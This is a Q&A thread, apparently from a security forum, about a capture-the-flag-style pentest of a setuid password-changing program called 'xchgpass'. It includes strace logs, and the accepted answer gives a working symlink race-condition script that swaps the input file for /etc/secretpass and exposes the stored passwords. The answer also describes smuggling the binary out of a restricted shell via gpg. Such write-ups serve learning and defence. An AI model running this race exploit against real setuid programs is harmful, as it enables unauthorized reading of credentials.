1

I have to pentest a program "xchgpass" that acts like passwd. This "xchgpass" edits a file located at /etc/secretpass .

xchgpass has setuid bit set :

hacker@cours-info:~$ ls -l /usr/bin/xchgpass 
-rwsr-xr-x 1 level7 hackers 9992 Jan 18 08:22 /usr/bin/xchgpass

The secretpass contains login and password for an app. Below the permission of /etc/secretpass :

-rw------- 1 level7 hackers 59 Jan 18 08:19 /etc/secretpass

xchgpass reads a file given in arguments. The given file contains login and a new password for a user. If the login provided in the input file matches with a login in /etc/secretpass, then the password of the user in /etc/secretpass is updated.

The input file was formatted like that :

2
alice:azertyui
bob:qsdfghjk

The first line was the number of login to process and next line is the login with the new wanted password.

If I run strace on xchgpass, I have that :

execve("/usr/bin/xchgpass", ["/usr/bin/xchgpass", "/dev/null"], [/* 19 vars */]) = 0
brk(0)                                  = 0x15be000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd84000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7012, ...}) = 0
mmap(NULL, 7012, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faf0fd82000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1738176, ...}) = 0
mmap(NULL, 3844640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7faf0f7bb000
mprotect(0x7faf0f95c000, 2097152, PROT_NONE) = 0
mmap(0x7faf0fb5c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a1000) = 0x7faf0fb5c000
mmap(0x7faf0fb62000, 14880, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7faf0fb62000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd81000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd80000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7f000
arch_prctl(ARCH_SET_FS, 0x7faf0fd80700) = 0
mprotect(0x7faf0fb5c000, 16384, PROT_READ) = 0
mprotect(0x7faf0fd86000, 4096, PROT_READ) = 0
munmap(0x7faf0fd82000, 7012)            = 0
geteuid()                               = 1000
getuid()                                = 1000
brk(0)                                  = 0x15be000
brk(0x15df000)                          = 0x15df000
setresuid(-1, 1000, -1)                 = 0
open("/dev/null", O_RDONLY)             = 3
fstat(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0
ioctl(3, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffe2b7e0ef0) = -1 ENOTTY (Inappropriate ioctl for device)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7faf0fd83000, 4096)            = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000
write(1, "number of logins to change: 0\n", 30number of logins to change: 0
) = 30
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd82000
write(1, "proceed [y/n] ?", 15proceed [y/n] ?)         = 15
read(0, y
"y\n", 1024)                    = 2
setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = -1 EACCES (Permission denied)
dup(2)                                  = 3
fcntl(3, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)
fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7e000
lseek(3, 0, SEEK_CUR)                   = -1 ESPIPE (Illegal seek)
write(3, "cannot open secret file: : Permi"..., 45cannot open secret file: : Permission denied
) = 45
close(3)                                = 0
munmap(0x7faf0fd7e000, 4096)            = 0
exit_group(1)                           = ?
+++ exited with 1 +++

I think a race condition could allow me to read the secret file. But I can't create a hard link.

Have you any ideas how to exploit my application ?

EDIT 1 : Full strace :

execve("./xchgpass", ["./xchgpass", "e"], [/* 22 vars */]) = 0
brk(NULL)                               = 0x1310000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd6204000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=135186, ...}) = 0
mmap(NULL, 135186, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f3bd61e2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\tb\2000\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1870352, ...}) = 0
mmap(0x3080600000, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3080600000
mprotect(0x30807bf000, 2097152, PROT_NONE) = 0
mmap(0x30809bf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x30809bf000
mmap(0x30809c5000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30809c5000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e1000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e0000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61df000
arch_prctl(ARCH_SET_FS, 0x7f3bd61e0700) = 0
mprotect(0x30809bf000, 16384, PROT_READ) = 0
mprotect(0x3080425000, 4096, PROT_READ) = 0
munmap(0x7f3bd61e2000, 135186)          = 0
geteuid()                               = 1000
getuid()                                = 0
brk(NULL)                               = 0x1310000
brk(0x1331000)                          = 0x1331000
setresuid(-1, 0, -1)                    = 0
open("e", O_RDONLY)                     = 3
fstat(3, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(3, "1\ned:d\n", 4096)              = 7
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "number of logins to change: 1\n", 30number of logins to change: 1
) = 30
fstat(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "proceed [y/n] ?", 15proceed [y/n] ?)         = 15
read(0, y
"y\n", 1024)                    = 2
setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4
fstat(4, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(4, "1\ned:d\n", 4096)              = 7
fstat(3, {st_mode=S_IFREG|0600, st_size=7, ...}) = 0
read(3, "1\ned:2\n", 4096)              = 7
write(1, "user ed: changed password to d\n", 31user ed: changed password to d
) = 31
read(3, "", 4096)                       = 0
lseek(3, 0, SEEK_SET)                   = 0
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++
4
  • Why don't you ask this on the forum where you got this challenge? They are more likely to know what to exploit where and give you hints. Jan 20, 2017 at 13:17
  • 1
    Because, i'm the only one to reach to this problem and I can't ask for any other info
    – McKay1717
    Jan 20, 2017 at 13:34
  • Okay. I'd take a buffer overflow-ish approach. What do you think about editing libc.so and try to jump over the uid restriction code part? Jan 20, 2017 at 13:45
  • That could be a good idea but libc is own by root and not writable by my user. I have juste have one clue "To pass something for another".
    – McKay1717
    Jan 20, 2017 at 14:00

1 Answer 1

2

I have finaly found: In strace, we can see, the soft open the input file with the current user perm :

setresuid(-1, 1000, -1)                 = 0
open("/dev/null", O_RDONLY)             = 3

The hack env have a restricted shell and hasn't any tools to download or upload files ou do hard link. But gpg is allowed, so i have use gpg to convert the binary of the soft to ascii. Then i have copy and paste the ascii in a local Virtual Machine with a full root acces. I have reproduced the soft env with my knowlege. So I finaly do new strace and foud the syscall excuted after the setuid. In that strace we can see:

setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4

The file is read again with setuid perm after waiting input from user. So i could replace the input file with a symbolic link. Because if the login exist in the secret file then it will be display in standard output with the new password. So I have write a little shell script to replace the input file during the execution of the soft.

echo "sleep 10; rm secretpass; ln -s /etc/secretpass" > sh
sh -x sh &
/usr/bin/xchgpass secretpass

Finaly we could see with this race condition all the password stored in the secret file.

2
  • @CaffeineAddiction I'm not sure to understand you, Do you want more explain about this exploit ?
    – McKay1717
    Jan 21, 2017 at 16:29
  • @CaffeineAddiction I have add some stuff to explain the exploit. And i can't mark my answer as a correct answer. I could do that in 20 hours.
    – McKay1717
    Jan 21, 2017 at 16:56

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .